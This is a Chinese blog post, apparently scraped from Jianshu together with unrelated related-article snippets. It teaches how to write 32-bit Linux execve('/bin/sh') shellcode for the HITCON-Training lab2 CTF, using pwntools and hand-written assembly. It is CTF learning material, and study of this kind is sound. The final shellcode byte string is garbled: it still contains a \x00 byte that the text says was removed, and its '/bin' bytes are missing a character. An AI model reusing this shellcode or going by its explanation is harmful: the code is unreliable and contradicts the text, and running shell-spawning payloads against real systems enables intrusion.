今天开始在做hitcon-training的题目,做到lab2就发现了自己的知识盲区,遇到无法执行shell的情况,需要自己打shellcode执行cat flag 操作

经过一系列的搜索,发现了几种编写shellcode的方法:

首先,就可以用pwntools来编写:

1.asm 进行汇编,使用参数来指定cpu类型以及操作系统

32位linux:

asm("mov eax, SYS_select", arch = 'i386', os = 'linux')

'\xb8]\x00\x00\x00'

64位linux:

asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')

'\xb8\x17\x00\x00\x00'

2shellcode生成器

32位:shellcraft.i386.linux.sh()

64位:shellcraft.amd64.linux.sh()

第二种方法就是用汇编来写:

假设我们现在要写一个shellcode,用来执行 execve("/bin/sh",0)

执行系统调用首先要知道调用函数对应的系统调用号,32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询,我们这里获得shell只需用到execve函数,从表中可以看到execve的调用号是0x0b,需要把这个0x0b传给eax,接着执行 int 0x80软中断,也就是系统中断,根据中断号和相关寄存器设置调用对应系统函数

 
 

第一步,就是需要将系统调用号加入到eax中。

第二步,ebx用于保存函数调用的第一个参数(ecx存放第二个参数,edx存放第三个参数,esi存放第四个参数,edi存放第五个参数)

如果参数个数超过5个,那么就必须将参数数组存储在内存中,而且必须将该数组的地址存储在ebx中。

一旦加载寄存器之后,就会调用int 0x80 汇编指令来发出软中断,强迫内核暂停手头上的工作并处理该中断。

在这里,第1个参数ebx,刚好是“/bin/sh”;第2个参数ecx是一个指针数组,第一个元素是第一个参数地址,第二个元素为空;第3个参数是edx为空。最后execve的系统调用号就放在了寄存器eax中=0xb。

接着我们就开始编写shellcode了:

global _start

_start:

mov eax,0   #eax置0

mov edx,0   #edx置0

push edx #也就是  execve()中的第三个参数,由于是入栈,所以最先入的是最后一个参数

push "/sh"  

push "/bin" #将/bin/sh存入栈中

mov ebx,esp  #ebx指向/bin/sh字符串,保存了/bin/sh的地址

xor eax,eax   #xor异或运算使eax清0,xor eax,eax 指令为2字节而mov eax,0 指令为5个字节一般用效率高的xor

mov al,0Bh ;eax的低位置为execve函数中断号

int 80h

 
 

保存为shellcode.asm,通过编译链接,然后运行,获得shell

 
 

使用 objdump -d 获得机器码

 
 

我们发现机器码中有许多/x00字节,shellcode中存在/x00字节在进行利用的时候会被截断Shellcode如果存储在堆或是栈的内存中,这样在shellcode执行时就不能出现\x00这样的阶段字符,这就需要我们在构造shellcode时防止此类坏字符的出现。所以我们要避免出现/x00字节,重新修改我们的汇编程序

global _start

_start:

xor ecx,ecx  使用这种方法清零就不会出现\x00

xor edx,edx

push edx

push "/sh"

push "/bin"

mov ebx,esp

xor eax,eax

mov al,0Bh

int 80h

编译链接运行,得到机器码

 
 

需要注意的是,编译后,0x68732f实际上就是字符串“hs/”,而0x6e69622f是“nib/”

这是因为32位的程序采用的小端序存储,所以参数字符都是倒过来的

没有出现/x00字节,得到最终的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x00\x68\x2f\x62\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

通过这种方法,我们就把shellcode写出来了,若是想调用其他的函数或者执行其他的语句,也可以用这种方式,具体这里有一道题目可以拿来练练手,hitcon-training-lab2

小礼物走一走,来简书关注我

作者:23R3F
链接:https://www.jianshu.com/p/eb75426b85cb
来源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

编写shellcode的几种姿势的更多相关文章

  1. ShellCode的几种调用方法

    ShellCode是一种漏洞代码,中文名也叫填充数据,一般是用C语言或者汇编编写.在研究的过程中,自己也学到了一些东西,发现其中也有许多坑,所以贴出来,如果大家有碰到的,可以参考一下. 以启动电脑上的 ...

  2. 为Node.js编写组件的几种方式

    本文主要备忘为Node.js编写组件的三种实现:纯js实现.v8 API实现(同步&异步).借助swig框架实现. 关键字:Node.js.C++.v8.swig.异步.回调. 简介 首先介绍 ...

  3. 快速了解IOC的几种姿势

    一.首先我们了解IOC如何注入的几种姿势 构造函数注入(Constructor Injection) Ioc容器会智能的选择和调用合适的构造函数以创建依赖的对象.如果被选择的构造函数具有相应的参数,I ...

  4. 两个文件去重的N种姿势

    最近利用shell帮公司优化挖掘关键词的流程,用shell替代了多个环节的操作,极大提高了工作效率. shell在文本处理上确有极大优势,比如多文本合并.去重等,但是最近遇到了一个难搞的问题,即两个大 ...

  5. 又拍云张聪:OpenResty 动态流控的几种姿势

    2019 年 1 月 12 日,由又拍云.OpenResty 中国社区主办的 OpenResty × Open Talk 全国巡回沙龙·深圳站圆满结束,又拍云首席架构师张聪在活动上做了< Ope ...

  6. 补习系列(7)-springboot 实现拦截的五种姿势

    目录 简介 姿势一.使用 Filter 接口 1. 注册 FilterRegistrationBean 2. @WebFilter 注解 姿势二.HanlderInterceptor 姿势三.@Exc ...

  7. python打开文件的N种姿势

    # python打开文件的N种姿势 print('[1]使用open()函数+简单for循环') f1 = open('python.txt') for line in f1: print(line. ...

  8. [转]地图投影的N种姿势

    此处直接给出原文链接: 1.地图投影的N种姿势 2.GIS理论(墨卡托投影.地理坐标系.地面分辨率.地图比例尺.Bing Maps Tile System)

  9. 【bzoj3224】Tyvj 1728 普通平衡树 01Trie姿势+平衡树的四种姿势 :splay,旋转Treap,非旋转Treap,替罪羊树

    直接上代码 正所谓 人傻自带大常数 平衡树的几种姿势:  AVL Red&Black_Tree 码量爆炸,不常用:SBT 出于各种原因,不常用. 常用: Treap 旋转 基于旋转操作和随机数 ...

随机推荐

  1. Two sum(给定一个无重复数组和目标值,查找数组中和为目标值的两个数,并输出其下标)

    示例: nums = [1,2,5,7] target = [6] return [0,2] Python解决方案1: def twoSum(nums, target): ""&q ...

  2. HDU1080 【LCS变形】

    题意: 给你每种字符匹配的权值大小,给你两个串,长度小的串可以在小串里面添加空格和大串匹配,问你一个最大匹配权值. 思路: 有点类似于LCS吧,我们在求两个串的LCS的时候,不行的就扔掉了,在这里就是 ...

  3. Faster_Rcnn在windows下运行踩坑总结

    Faster_Rcnn在windows下运行踩坑总结  20190524 今天又是元气满满的一天! 1.代码下载 2.编译 3.下载数据集 4.下载pre-train Model 5.运行train ...

  4. 01 | Jewels and Stones

    Question You're given strings J representing the types of stones that are jewels, and S representing ...

  5. C 语言实例 - 字符串中各种字符计算

    C 语言实例 - 字符串中各种字符计算 C 语言实例 C 语言实例 计算字符串中的元音.辅音.数字.空白符. 实例 #include <stdio.h> int main() { ]; i ...

  6. 集合:set

    set 就是数学上的集合——每个元素最多只出现一次.和sort一样,自定义一个类型也可以构造set ,但是必须定义“小于”运算符. 例子: 输入一个文本,找出所有不同的单词(连续的字母序列),按字典从 ...

  7. Git - Merge: refusing to merge unrelated histories

    场景 我在本地有个代码仓库local-A,本地仓库local-A已经和一个远程仓库remote-A关联了. 接着我又在GitHub上新建了一个仓库remote-B,我希望将本地仓库local-A的本地 ...

  8. 530 Minimum Absolute Difference in BST 二叉搜索树的最小绝对差

    给定一个所有节点为非负值的二叉搜索树,求树中任意两节点的差的绝对值的最小值.示例 :输入:   1    \     3    /   2输出:1解释:最小绝对差为1,其中 2 和 1 的差的绝对值为 ...

  9. rtos概要

    一 RTOS如何调试: 静态调试帮不上忙,因为嵌入式系统都是动态系统 ,要借助基于RTOS系统的可视化分析 :Micriµm 的 µC/Probe ,SEGGER 的 SystemView ,Perc ...

  10. solr亿万级索引优化实践-自动生成UUID

    solr亿万级索引优化实践(三) 原创 2017年03月14日 17:03:09        本篇文章主要介绍下如何从客户端solrJ以及服务端参数配置的角度来提升索引速度. solrJ6.0提供的 ...